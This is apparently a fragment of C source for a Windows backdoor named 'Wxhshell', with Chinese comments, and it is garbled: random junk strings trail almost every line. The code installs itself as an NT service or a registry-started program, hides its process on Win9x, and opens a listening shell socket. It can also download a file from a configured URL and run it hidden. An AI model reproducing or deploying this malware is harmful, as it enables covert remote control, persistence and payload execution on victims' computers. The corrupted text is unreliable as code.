ULONG InheritedFromUniqueProcessId; @tT`s^e
} PROCESS_BASIC_INFORMATION; O%%Q./oh
$uLTYu
PROCNTQSIP NtQueryInformationProcess; @5d^ C
6{I7=.V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F`KXG$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KKwM\
VjM/'V5
HANDLE hProcess; JCH9~n.
PROCESS_BASIC_INFORMATION pbi; UV(`.
x@X2r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h<L_ =)lH
if(NULL == hInst ) return 0; wn"\@Qv G
4EYD5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fAh|43Y*a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p$"~vA .
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !S~)U{SSK
D)MFii1J~
if (!NtQueryInformationProcess) return 0; I(UK9H{0$
M|nLD+d~8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OcB&6!1u
if(!hProcess) return 0; ;$tdn?|
@de ZZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pZ Uy (
x,: k/]
CloseHandle(hProcess); IFW(nB(
r@JMf)a]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zzlt^#KLx
if(hProcess==NULL) return 0; =lv(
*BxU5)O
HMODULE hMod; ; &rxwL
char procName[255]; <\nM5-wR
unsigned long cbNeeded; Tkr~)2,(I!
'oz$uvX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !bzWgD7j
=nHkFi@D=t
CloseHandle(hProcess); p$F`9_bZ
:@p]~{m :G
if(strstr(procName,"services")) return 1; // 以服务启动 Q>[{9bI4QP
C;ab-gh
return 0; // 注册表启动 }<kl3{)
} ;0Uat
hxdjmc-
// 主模块 kM-8%a2i
int StartWxhshell(LPSTR lpCmdLine) vEjf|-Mb9
{ )4o8SF7lz
SOCKET wsl; |`yU \
BOOL val=TRUE; DK2Wjr;
int port=0; .|"E:qTD
struct sockaddr_in door; ,&Zp^
Ud"_[JtGM
if(wscfg.ws_autoins) Install(); <|'ETqP<+
mR2"dq;U
port=atoi(lpCmdLine); #Br`;hL<T
(4z_2a(Dl,
if(port<=0) port=wscfg.ws_port; =f@71D1
2cu2S"r
WSADATA data; =H: N!!:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Obu 6k[BE.
=2*2$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _e8Gt6>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nUs=PD3)
door.sin_family = AF_INET;
6x5Q*^w
door.sin_addr.s_addr = inet_addr("127.0.0.1"); BZOl&G(
door.sin_port = htons(port); dJzaP
E*R-Dno_F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /0`Eux\
closesocket(wsl); +dCR$<e9r
return 1; uJ|,-"~F
} CVY-U|xFY
D,$M$f1
if(listen(wsl,2) == INVALID_SOCKET) { )a!f")@uz
closesocket(wsl); )EYs+7/t
return 1;
"X=^MGV
} aeYz;&K
Wxhshell(wsl); 2./z6jXW_
WSACleanup(); EWl9rF@I
']Czn._
return 0; dM,{:eID
'?90e4x3/
} y)fz\wk
)(d~A?~
// 以NT服务方式启动 /=V!lRs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \7UeV:3Ojn
{ 6ImW|%
DWORD status = 0; }<z[t5
DWORD specificError = 0xfffffff; JFu.o8[Q
&~<i"
W
serviceStatus.dwServiceType = SERVICE_WIN32; +pUYFDwFx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; lib^JJF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (w_b
serviceStatus.dwWin32ExitCode = 0; dtQ3iuV %
serviceStatus.dwServiceSpecificExitCode = 0; 'e>'JZR
serviceStatus.dwCheckPoint = 0; )MV `'i
serviceStatus.dwWaitHint = 0; 79Aa~ +i'_
`&)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7lOAu]Zx
if (hServiceStatusHandle==0) return; Q=<&ew
u3cg&lEgT
status = GetLastError(); >7?Lq<H
if (status!=NO_ERROR) #cikpHLXG
{ "<L9-vb
serviceStatus.dwCurrentState = SERVICE_STOPPED; gjJ:s,Fg
serviceStatus.dwCheckPoint = 0; W;X:U.
serviceStatus.dwWaitHint = 0; EnMc9FN(y
serviceStatus.dwWin32ExitCode = status; 1JS5 LS
serviceStatus.dwServiceSpecificExitCode = specificError; 6DEH|2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5a5JOl$8
return; 4X:mb}(
} YYe<StyH
o`~,+6]D
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7 }t=Lx(
serviceStatus.dwCheckPoint = 0; wlwgYAD
serviceStatus.dwWaitHint = 0; \*fXPJ4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OK@yMGz1I
} 5n::]Q%=D
<0/)v
J-
9
// 处理NT服务事件,比如:启动、停止 V+u0J"/8
VOID WINAPI NTServiceHandler(DWORD fdwControl)
8`<3rj
{ bHDZ=Ik
switch(fdwControl) ZSwhI@|
{ 25vq#sS]
case SERVICE_CONTROL_STOP: 80U(q/H%9
serviceStatus.dwWin32ExitCode = 0; )Zvn{
serviceStatus.dwCurrentState = SERVICE_STOPPED; *P12d
serviceStatus.dwCheckPoint = 0; rv~OfL
serviceStatus.dwWaitHint = 0; I'J-)D`
{ nS!m1&DeD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >)`*:_{
} vQ5rhRG)E
return; e{Mkwi+j
case SERVICE_CONTROL_PAUSE: \O>;,(>i
serviceStatus.dwCurrentState = SERVICE_PAUSED; <UW-fI)X
break; n2opy8J#!
case SERVICE_CONTROL_CONTINUE:
tB0f+ wC
serviceStatus.dwCurrentState = SERVICE_RUNNING; SphP@J<ONW
break; <?rdhx
case SERVICE_CONTROL_INTERROGATE: *Xu?(Jd
break; =`qEwA
}; rB =c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pW<l9W
} EP{ji"/7[
AB.ZmR9|
// 标准应用程序主函数 [xDn=)`{V
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C61E=$
{ 7%|HtBXv^
X-yS9E
// 获取操作系统版本 fHF*#
OsIsNt=GetOsVer(); C9%A?'`
GetModuleFileName(NULL,ExeFile,MAX_PATH); G Mg|#DV
JGlp7wro
// 从命令行安装 . N5$s2t
if(strpbrk(lpCmdLine,"iI")) Install(); >)F)@KAuN4
w\>@>*E>
// 下载执行文件 T#YJ5Xw
if(wscfg.ws_downexe) { F@xKL;'N74
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |x ir93 |
WinExec(wscfg.ws_filenam,SW_HIDE); 9+'*
} U uSCqI};
{UuSNZ[^
if(!OsIsNt) { w!l*!G
// 如果时win9x,隐藏进程并且设置为注册表启动 %G,d&%f
HideProc(); 0[-@<w ^j
StartWxhshell(lpCmdLine); `9DW}
} cw;TIx_q
else RPTIDA))
if(StartFromService()) ?2S<D5MSb
// 以服务方式启动 Cyp%E5b7
StartServiceCtrlDispatcher(DispatchTable); 'Y5l3xQk
else %PM8;]
// 普通方式启动 WQNFHRfO*n
StartWxhshell(lpCmdLine);
)jH|j
%bB:I1V\
return 0; ~T\:".C
}